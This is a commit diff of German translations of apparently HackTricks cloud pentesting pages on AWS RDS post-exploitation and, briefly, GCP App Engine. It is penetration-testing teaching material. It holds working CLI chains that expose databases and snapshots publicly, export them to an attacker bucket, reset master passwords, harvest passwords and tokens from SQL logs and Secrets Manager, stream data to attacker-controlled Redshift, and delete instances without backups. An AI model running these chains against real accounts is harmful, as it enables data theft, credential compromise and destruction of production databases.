Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-11-26 17:25:10 +00:00
parent 89774aaa01
commit e6121b0ee1
18 changed files with 1250 additions and 433 deletions

View File

@@ -4,7 +4,7 @@
## RDS
Für weitere Informationen siehe:
Weitere Informationen:
{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Wenn der Angreifer über ausreichend Berechtigungen verfügt, könnte er eine **DB öffentlich zugänglich machen**, indem er einen Snapshot der DB erstellt und anschließend eine öffentlich zugängliche DB aus dem Snapshot wiederherstellt.
Wenn der Angreifer über ausreichende Berechtigungen verfügt, könnte er eine **DB öffentlich zugänglich machen**, indem er einen Snapshot der DB erstellt und anschließend eine öffentlich zugängliche DB aus dem Snapshot wiederherstellt.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -39,9 +39,9 @@ aws rds modify-db-instance \
# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
Ein Angreifer mit `rds:StopDBCluster` oder `rds:StopDBInstance` kann einen sofortigen Stopp einer RDS-Instanz oder eines gesamten Clusters erzwingen, was zu Nichtverfügbarkeit der Datenbank, unterbrochenen Verbindungen und zur Unterbrechung von Prozessen führt, die von der Datenbank abhängen.
Ein attacker mit rds:StopDBCluster oder rds:StopDBInstance kann einen sofortigen Stopp einer RDS instance oder eines gesamten Clusters erzwingen, was zu Nichtverfügbarkeit der Datenbank, unterbrochenen Verbindungen und zur Unterbrechung von Prozessen führt, die von der Datenbank abhängen.
Um eine einzelne DB-Instanz zu stoppen (Beispiel):
Um eine einzelne DB instance zu stoppen (Beispiel):
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
@@ -51,9 +51,37 @@ Um einen gesamten DB-Cluster zu stoppen (Beispiel):
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Modify*`
Ein Angreifer, dem rds:Modify* Berechtigungen erteilt wurden, kann kritische Konfigurationen und zugehörige Ressourcen (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) verändern, ohne die instance oder den cluster direkt zu berühren. Änderungen wie das Anpassen von Verbindung-/Timeout-Parametern, das Ändern eines proxy endpoint, das Modifizieren, welche Zertifikate vertraut werden, das Verändern der logischen Kapazität oder das Neukonfigurieren einer subnet group können die Sicherheit schwächen (neue Zugriffswege öffnen), Routing und Load-Balancing stören, Replikations-/Backup-Richtlinien ungültig machen und generell Verfügbarkeit oder Wiederherstellbarkeit beeinträchtigen. Diese Änderungen können außerdem indirekte Datenexfiltration erleichtern oder eine geordnete Wiederherstellung der Datenbank nach einem Vorfall behindern.
Verschieben oder Ändern der subnets, die einer RDS subnet group zugewiesen sind:
```bash
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
```
Niedrigstufige Engine-Parameter in einer Cluster-Parametergruppe ändern:
```bash
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
```
### `rds:Restore*`
Ein Angreifer mit rds:Restore*-Rechten kann komplette Datenbanken aus snapshots, automatisierten Backups, point-in-time recovery (PITR) oder aus in S3 gespeicherten Dateien wiederherstellen und dabei neue Instanzen oder Cluster erzeugen, die mit den Daten des gewählten Zeitpunkts gefüllt sind. Diese Vorgänge überschreiben nicht die Originalressourcen — sie erstellen neue Objekte, die die historischen Daten enthalten — wodurch ein Angreifer vollständige, funktionale Kopien der Datenbank (aus früheren Zeitpunkten oder aus externen S3-Dateien) erhalten und nutzen kann, um Daten zu exfiltrieren, historische Einträge zu manipulieren oder frühere Zustände wiederherzustellen.
Eine DB-Instanz zu einem bestimmten Zeitpunkt wiederherstellen:
```bash
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
```
### `rds:Delete*`
Ein Angreifer mit rds:Delete* kann RDS-Ressourcen entfernen — DB-Instanzen, Cluster, Snapshots, automatisierte Backups, Subnet-Gruppen, Parameter-/Optionsgruppen und verwandte Artefakte löschen — und dadurch sofortige Serviceausfälle, Datenverlust, Zerstörung von Wiederherstellungspunkten sowie Verlust forensischer Beweise verursachen.
Ein Angreifer, dem rds:Delete* gewährt wurde, kann RDS-Ressourcen entfernen — DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups und zugehörige Artefakte löschen — und dadurch sofortige Serviceunterbrechungen, Datenverlust, Zerstörung von Wiederherstellungspunkten sowie Verlust forensischer Beweise verursachen.
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
@@ -76,9 +104,9 @@ aws rds delete-db-cluster \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Ein Angreifer mit diesen Berechtigungen könnte **einen Snapshot einer DB erstellen** und ihn **öffentlich** **verfügbar** machen. Dann könnte er in seinem eigenen Account einfach eine DB aus diesem Snapshot erstellen.
Ein Angreifer mit diesen Berechtigungen könnte **einen Snapshot einer DB erstellen** und diesen **öffentlich** **verfügbar** machen. Dann könnte er einfach in seinem eigenen Account eine DB aus diesem Snapshot erstellen.
Wenn der Angreifer **nicht die `rds:CreateDBSnapshot` hat**, könnte er trotzdem **andere** erstellte Snapshots **öffentlich** machen.
Wenn der Angreifer **die `rds:CreateDBSnapshot` nicht hat**, könnte er trotzdem bereits erstellte **andere** snapshots **öffentlich** machen.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -89,48 +117,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Teile der Logdateien einer RDS-Instance herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert werden, könnte der Angreifer diese Informationen nutzen, um seine Berechtigungen zu eskalieren oder unautorisierte Aktionen durchzuführen.
Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Teile der Logdateien einer RDS-Instanz herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert wurden, könnte der Angreifer diese Informationen möglicherweise nutzen, um seine Berechtigungen zu eskalieren oder unautorisierte Aktionen durchzuführen.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Potentielle Auswirkungen**: Zugriff auf sensible Informationen oder unautorisierte Aktionen unter Verwendung von leaked credentials.
**Mögliche Auswirkungen**: Zugriff auf sensible Informationen oder unautorisierte Aktionen unter Verwendung von leaked credentials.
### `rds:DeleteDBInstance`
Ein Angreifer mit diesen Berechtigungen kann **DoS existing RDS instances**.
Ein Angreifer mit diesen Berechtigungen kann **DoS bestehende RDS-Instanzen**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Mögliche Auswirkungen**: Löschung vorhandener RDS-Instanzen und möglicher Datenverlust.
**Potentielle Auswirkungen**: Löschung vorhandener RDS-Instanzen und möglicher Datenverlust.
### `rds:StartExportTask`
> [!NOTE]
> TODO: Testen
Ein Angreifer mit dieser Berechtigung kann **einen Snapshot einer RDS-Instanz in einen S3-Bucket exportieren**. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er möglicherweise auf sensible Daten im exportierten Snapshot zugreifen.
Ein Angreifer mit dieser Berechtigung kann **einen Snapshot einer RDS-Instanz in einen S3-Bucket exportieren**. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten im exportierten Snapshot zugreifen.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potentielle Auswirkungen**: Zugriff auf sensible Daten im exportierten Snapshot.
**Potenzielle Auswirkung**: Zugriff auf sensible Daten im exportierten Snapshot.
### Cross-Region automatisierte Backups-Replikation für unauffällige Wiederherstellung (`rds:StartDBInstanceAutomatedBackupsReplication`)
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
Missbrauche die Cross-Region-Replikation automatisierter Backups, um die automatisierten Backups einer RDS-Instance stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann dann die wiederhergestellte DB öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des normalen Zugriffs in einer Region auf Daten zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
Missbrauche cross-Region automated backups replication, um heimlich die automatischen Backups einer RDS-Instanz in eine andere AWS Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann dann die wiederhergestellte DB öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des normalen Überwachungsbereichs auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht beobachten.
Benötigte Berechtigungen (mindestens):
- `rds:StartDBInstanceAutomatedBackupsReplication` in der Ziel-Region
- `rds:DescribeDBInstanceAutomatedBackups` in der Ziel-Region
- `rds:RestoreDBInstanceToPointInTime` in der Ziel-Region
- `rds:ModifyDBInstance` in der Ziel-Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optionale Bereinigung)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB öffentlich zugänglich zu machen)
Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Auswirkung: Persistenz und Datenexfiltration durch Wiederherstellen einer Kopie von Produktionsdaten in einer anderen Region und öffentliches Zugänglichmachen mit vom Angreifer kontrollierten Zugangsdaten.
Impact: Persistenz und Datenexfiltration durch Wiederherstellen einer Kopie von Produktionsdaten in eine andere Region und öffentliches Zugänglichmachen mit vom Angreifer kontrollierten Zugangsdaten.
<details>
<summary>End-to-end-CLI (Platzhalter ersetzen)</summary>
<summary>End-to-end CLI (Platzhalter ersetzen)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
@@ -199,26 +227,26 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### Vollständiges SQL-Logging über DB-Parametergruppen aktivieren und über RDS-Log-APIs exfiltrieren
### Vollständiges SQL-Logging über DB parameter groups aktivieren und exfiltrate über RDS log APIs
Missbrauche `rds:ModifyDBParameterGroup` zusammen mit RDS-Log-Download-APIs, um alle von Anwendungen ausgeführten SQL-Anweisungen zu erfassen (keine DB-Engine-Zugangsdaten erforderlich). Aktiviere das SQL-Logging der Engine und lade die Logdateien über `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` herunter (oder über die REST-Funktion `downloadCompleteLogFile`). Nützlich, um Abfragen zu sammeln, die Secrets/PII/JWTs enthalten könnten.
Abuse `rds:ModifyDBParameterGroup` mit RDS log download APIs, um alle von Anwendungen ausgeführten SQL-Statements zu erfassen (keine DB engine credentials erforderlich). Aktiviere engine SQL logging und lade die Log-Dateien über `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` (oder das REST `downloadCompleteLogFile`). Nützlich, um queries zu sammeln, die secrets/PII/JWTs enthalten können.
Benötigte Berechtigungen (Minimum):
Benötigte Berechtigungen (mindestens):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (nur um eine benutzerdefinierte Parametergruppe anzuhängen, falls die Instanz die Default-Gruppe verwendet)
- `rds:RebootDBInstance` (für Parameter, die einen Reboot erfordern, z. B. PostgreSQL)
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
Schritte
1) Recon target und aktuelle Parametergruppe
1) Recon des Ziels und der aktuellen parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Stelle sicher, dass eine benutzerdefinierte DB-Parametergruppe angehängt ist (die Standardgruppe kann nicht bearbeitet werden)
- Wenn die Instanz bereits eine benutzerdefinierte Gruppe verwendet, verwende deren Namen im nächsten Schritt.
- Andernfalls erstelle und hänge eine passende zur Engine-Familie an:
2) Stelle sicher, dass eine benutzerdefinierte DB parameter group angehängt ist (die default kann nicht bearbeitet werden)
- Falls die Instanz bereits eine benutzerdefinierte Gruppe nutzt, verwende deren Namen im nächsten Schritt.
- Andernfalls erstelle und hänge eine an, die zur engine family passt:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -232,7 +260,7 @@ aws rds modify-db-instance \
--apply-immediately
# Wait until status becomes "available"
```
3) Aktivieren Sie ausführliches SQL-Logging
3) Ausführliches SQL logging aktivieren
- MySQL-Engines (sofort / kein Neustart):
```bash
aws rds modify-db-parameter-group \
@@ -244,7 +272,7 @@ aws rds modify-db-parameter-group \
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL-Engines (Neustart erforderlich):
- PostgreSQL engines (Neustart erforderlich):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -256,11 +284,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) Lassen Sie die Workload laufen (oder erzeugen Sie Abfragen). Statements werden in die Engine-Datei-Logs geschrieben
4) Lassen Sie die Workload laufen (oder erzeugen Sie Abfragen). Anweisungen werden in die Engine-Logdateien geschrieben
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Logs entdecken und herunterladen (keine DB-Zugangsdaten erforderlich)
5) Logs entdecken und herunterladen (keine DB creds erforderlich)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
@@ -271,11 +299,11 @@ aws rds download-db-log-file-portion \
--starting-token 0 \
--output text > dump.log
```
6) Offline auf sensible Daten analysieren
6) Offline nach sensiblen Daten analysieren
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
Beispielbeweismaterial (geschwärzt):
Beispielbelege (geschwärzt):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
@@ -297,11 +325,11 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Auswirkung: Post-exploitation-Datenzugriff durch Erfassen aller Anwendungs-SQL-Anweisungen via AWS APIs (no DB creds), potenziell leaking secrets, JWTs und PII.
Auswirkung: Post-exploitation-Datenzugriff durch Erfassen aller Anwendungs-SQL-Anweisungen über AWS APIs (keine DB-Creds), möglicherweise leaking secrets, JWTs und PII.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
Missbrauche RDS read replicas, um out-of-band Lesezugriff zu erhalten, ohne die primary instance credentials zu berühren. Ein Angreifer kann aus einer Produktionsinstanz eine read replica erstellen, das replica's master password zurücksetzen (dies ändert das primary nicht) und optional die Replica öffentlich exponieren, um Daten zu exfiltrieren.
Missbrauche RDS read replicas, um out-of-band Lesezugriff zu erhalten, ohne die Zugangsdaten der Primärinstanz zu berühren. Ein Angreifer kann aus einer Produktionsinstanz eine read replica erstellen, das Master-Passwort der Replica zurücksetzen (dies ändert die Primärinstanz nicht) und die Replica optional öffentlich machen, um Daten zu exfiltrieren.
Permissions needed (minimum):
- `rds:DescribeDBInstances`
@@ -309,7 +337,7 @@ Permissions needed (minimum):
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
Auswirkung: Read-only Zugriff auf Produktionsdaten über eine Replica mit attacker-controlled credentials; geringere Wahrscheinlichkeit entdeckt zu werden, da das primary unberührt bleibt und replication weiterläuft.
Auswirkung: Read-only access to production data via a replica with attacker-controlled credentials; lower detection likelihood as the primary remains untouched and replication continues.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -340,13 +368,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Beispielhafte Hinweise (MySQL):
- Status der Replica-DB: `available`, Read-Replikation: `replicating`
- Erfolgreiche Verbindung mit neuem Passwort und `@@read_only=1`, die den schreibgeschützten Replica-Zugriff bestätigt.
Beispielhinweise (MySQL):
- Replica DB-Status: `available`, Lese-Replikation: `replicating`
- Erfolgreiche Verbindung mit neuem Passwort und `@@read_only=1`, die den schreibgeschützten Zugriff auf die Replica bestätigt.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
Missbrauche RDS Blue/Green, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte Green-Umgebung zu klonen. Setze dann die Green master credentials zurück, um auf die Daten zuzugreifen, ohne die Blue (prod)-Instanz zu berühren. Dies ist unauffälliger als snapshot sharing und umgeht oft Monitoring, das nur auf die source fokussiert ist.
Missbrauche RDS Blue/Green, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte grüne Umgebung zu klonen. Setze dann die Master-Zugangsdaten der grünen Umgebung zurück, um auf die Daten zuzugreifen, ohne die Blue (prod)-Instanz zu verändern. Das ist unauffälliger als die Freigabe von Snapshots und umgeht oft Überwachungen, die sich nur auf die Quelle konzentrieren.
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -393,22 +421,22 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Auswirkung: Nur-Lese, aber vollständiger Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktion, ohne die Produktionsinstanz zu verändern. Nützlich für verdeckte Datenausleitung und Offline-Analyse.
Auswirkung: Nur-Lesezugriff, aber vollständiger Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktion, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenextraktion und Offline-Analyse.
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
### Out-of-band SQL über RDS Data API durch Aktivieren des HTTP-Endpoints + Zurücksetzen des Master-Passworts
Missbrauche Aurora, um den RDS Data API HTTP-Endpoint auf einem Ziel-Cluster zu aktivieren, das Master-Passwort auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert bei Aurora-Engines, die Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).
Missbrauche Aurora, um das RDS Data API HTTP endpoint auf einem Zielcluster zu aktivieren, das Master-Passwort auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora engines, die das Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).
Permissions (minimum):
Berechtigungen (mindestens):
- rds:DescribeDBClusters, rds:ModifyDBCluster (oder rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (und rds-data:BatchExecuteStatement falls verwendet)
- rds-data:ExecuteStatement (und rds-data:BatchExecuteStatement, falls verwendet)
Auswirkung: Bypass network segmentation und exfiltrate Daten über AWS APIs ohne direkte VPC-Konnektivität zur DB.
Auswirkung: Umgehe Netzwerksegmentierung und exfiltriere Daten über AWS-APIs ohne direkte VPC-Konnektivität zur DB.
<details>
<summary>End-to-end-CLI (Aurora MySQL-Beispiel)</summary>
<summary>End-to-end-CLI (Aurora MySQL Beispiel)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
@@ -462,20 +490,20 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
Hinweise:
- Wenn mehrteilige SQL-Anweisungen von rds-data abgelehnt werden, führe separate execute-statement-Aufrufe aus.
- Für Engines, bei denen modify-db-cluster --enable-http-endpoint keine Wirkung zeigt, verwende rds enable-http-endpoint --resource-arn.
- Stelle sicher, dass die Engine/Version tatsächlich die Data API unterstützt; andernfalls bleibt HttpEndpointEnabled auf False.
- Für Engines, bei denen modify-db-cluster --enable-http-endpoint keine Wirkung hat, verwende rds enable-http-endpoint --resource-arn.
- Stelle sicher, dass die Engine/Version die Data API tatsächlich unterstützt; andernfalls bleibt HttpEndpointEnabled auf False.
### DB-Zugangsdaten über RDS Proxy Auth-Secrets erlangen (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Missbrauche die RDS Proxy-Konfiguration, um das für die Backend-Authentifizierung verwendete Secrets Manager secret zu finden, und lese dann das Secret aus, um Datenbank-Zugangsdaten zu erhalten. In vielen Umgebungen wird breit gefasstes `secretsmanager:GetSecretValue` gewährt, wodurch dies ein geringer Aufwand-Pivot zu DB-Zugangsdaten ist. Verwendet das Secret einen CMK, können fehlkonfigurierte KMS-Berechtigungen außerdem `kms:Decrypt` erlauben.
Missbrauche die RDS Proxy-Konfiguration, um das für die Backend-Authentifizierung verwendete Secrets Manager-Secret zu entdecken, und lese dann das Secret aus, um Datenbank-Zugangsdaten zu erhalten. Viele Umgebungen gewähren umfangreiche `secretsmanager:GetSecretValue`-Berechtigungen, wodurch dies ein niedrigaufwändiger Pivot zu DB-Creds ist. Wenn das Secret eine CMK verwendet, können fehlkonfigurierte KMS-Berechtigungen auch `kms:Decrypt` erlauben.
Erforderliche Berechtigungen (Minimum):
Benötigte Berechtigungen (mindestens):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` auf dem referenzierten SecretArn
- Optional, wenn das Secret einen CMK verwendet: `kms:Decrypt` auf diesem Key
- `secretsmanager:GetSecretValue` auf das referenzierte SecretArn
- Optional, wenn das Secret eine CMK verwendet: `kms:Decrypt` auf diesem Key
Auswirkung: Sofortige Offenlegung des auf dem Proxy konfigurierten DB-Benutzernamens/Passworts; ermöglicht direkten DB-Zugriff oder weitere lateral movement.
Auswirkung: Sofortige Offenlegung des auf dem Proxy konfigurierten DB-Benutzernamens/-passworts; ermöglicht direkten DB-Zugriff oder weitere laterale Bewegung.
Schritte
```bash
@@ -509,7 +537,7 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
Bereinigung (Lab)
Bereinigung (lab)
```bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
@@ -518,7 +546,7 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
```
### Stealthy continuous exfiltration via Aurora zeroETL to Amazon Redshift (rds:CreateIntegration)
Missbrauche Aurora PostgreSQL zeroETL-Integration, um Produktionsdaten kontinuierlich in einen Redshift Serverless Namespace zu replizieren, den du kontrollierst. Mit einer zu großzügigen Redshift-Ressourcenrichtlinie, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora-Cluster-ARN autorisiert, kann ein Angreifer eine nahezu Echtzeit-Datenkopie herstellen, ohne DB creds, snapshots oder Netzwerkexposition.
Missbrauche die Aurora PostgreSQL zeroETL-Integration, um Produktionsdaten kontinuierlich in einen Redshift Serverless namespace zu replizieren, den du kontrollierst. Mit einer zu großzügigen Redshift-Ressourcenrichtlinie, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora cluster ARN autorisiert, kann ein Angreifer eine nahezu in Echtzeit laufende Datenkopie herstellen, ohne DB creds, snapshots oder Netzwerkzugriff.
Permissions needed (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
@@ -529,7 +557,7 @@ Permissions needed (minimum):
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Redshift Serverless namespace + workgroup erstellen</summary>
<summary>1) Erstelle Redshift Serverless namespace + workgroup</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -545,7 +573,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
</details>
<details>
<summary>2) Konfiguriere die Redshift-Ressourcenrichtlinie, um die Aurora-Quelle zuzulassen</summary>
<summary>2) Redshift-Ressourcenrichtlinie so konfigurieren, dass die Aurora-Quelle zugelassen wird</summary>
```bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -576,7 +604,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
</details>
<details>
<summary>3) Erstellen eines Aurora PostgreSQL-Clusters (Data API und logical replication aktivieren)</summary>
<summary>3) Erstellen eines Aurora PostgreSQL-Clusters (Data API und logische Replikation aktivieren)</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -632,12 +660,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
```
</details>
Im Test beobachtete Hinweise:
Beobachtete Hinweise im Test:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION zeigte integration_id 377a462b-c42c-4f08-937b-77fe75d98211 und den Zustand PendingDbConnectState vor der DB-Erstellung.
- Nach CREATE DATABASE FROM INTEGRATION zeigte das Auflisten der Tabellen das Schema ztl und die Tabelle customers; eine Abfrage auf ztl.customers lieferte 2 Zeilen (Alice, Bob).
- SVV_INTEGRATION zeigte integration_id 377a462b-c42c-4f08-937b-77fe75d98211 und state PendingDbConnectState vor der DB-Erstellung.
- Nach CREATE DATABASE FROM INTEGRATION zeigte das Auflisten der Tabellen das Schema ztl und die Tabelle customers; Abfrage von ztl.customers gab 2 Zeilen zurück (Alice, Bob).
Auswirkung: Kontinuierliche nahezuEchtzeit exfiltration ausgewählter Aurora PostgreSQL-Tabellen in vom Angreifer kontrolliertes Redshift Serverless, ohne Datenbank-Anmeldeinformationen, Backups oder Netzwerkzugriff auf den Quell-Cluster zu verwenden.
Auswirkung: Kontinuierliche, nahezu in Echtzeit erfolgende exfiltration ausgewählter Aurora PostgreSQL-Tabellen in vom Angreifer kontrolliertes Redshift Serverless, ohne Verwendung von Datenbank-Anmeldeinformationen, Sicherungen oder Netzwerkzugang zum Quell-Cluster.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## `App Engine`
Für Informationen zu App Engine siehe:
Für Informationen über App Engine siehe:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -14,34 +14,35 @@ Für Informationen zu App Engine siehe:
Mit diesen Berechtigungen ist es möglich:
- Einen Key hinzufügen
- Keys auflisten
- Einen Key abrufen
- Einen Schlüssel hinzufügen
- Schlüssel auflisten
- Einen Schlüssel abrufen
- Löschen
> [!CAUTION]
> Ich konnte jedoch **keinen Weg finden, über die cli auf diese Informationen zuzugreifen**, nur über die **web console** wo du den **Key type** und den **Key name** kennen musst, of von der a**pp engine running app**.
> Allerdings **konnte ich keinen Weg finden, diese Informationen über die cli abzurufen**, nur über die **web console**, wo man den **Key type** und den **Key name** kennen muss, oder von a**pp engine running app**.
>
> Wenn du einfachere Wege kennst, diese Berechtigungen zu nutzen, sende bitte einen Pull Request!
### `logging.views.access`
Mit dieser Berechtigung ist es möglich, **die Logs der App zu sehen**:
<details>
<summary>Tail app logs</summary>
```bash
gcloud app logs tail -s <name>
```
</details>
### Löschen von Services und Versionen
### Source Code lesen
Die Berechtigungen `appengine.versions.delete`, `appengine.versions.list` und `appengine.services.list` erlauben das Verwalten und Löschen bestimmter Versionen einer App Engine-Anwendung, was den Traffic beeinträchtigen kann, wenn dieser aufgeteilt ist oder die einzige stabile Version entfernt wird. Dagegen erlauben die Berechtigungen `appengine.services.delete` und `appengine.services.list` das Auflisten und Löschen ganzer Services — eine Aktion, die sofort sämtlichen Traffic und die Verfügbarkeit der zugehörigen Versionen unterbricht.
```bash
gcloud app versions delete <VERSION_ID>
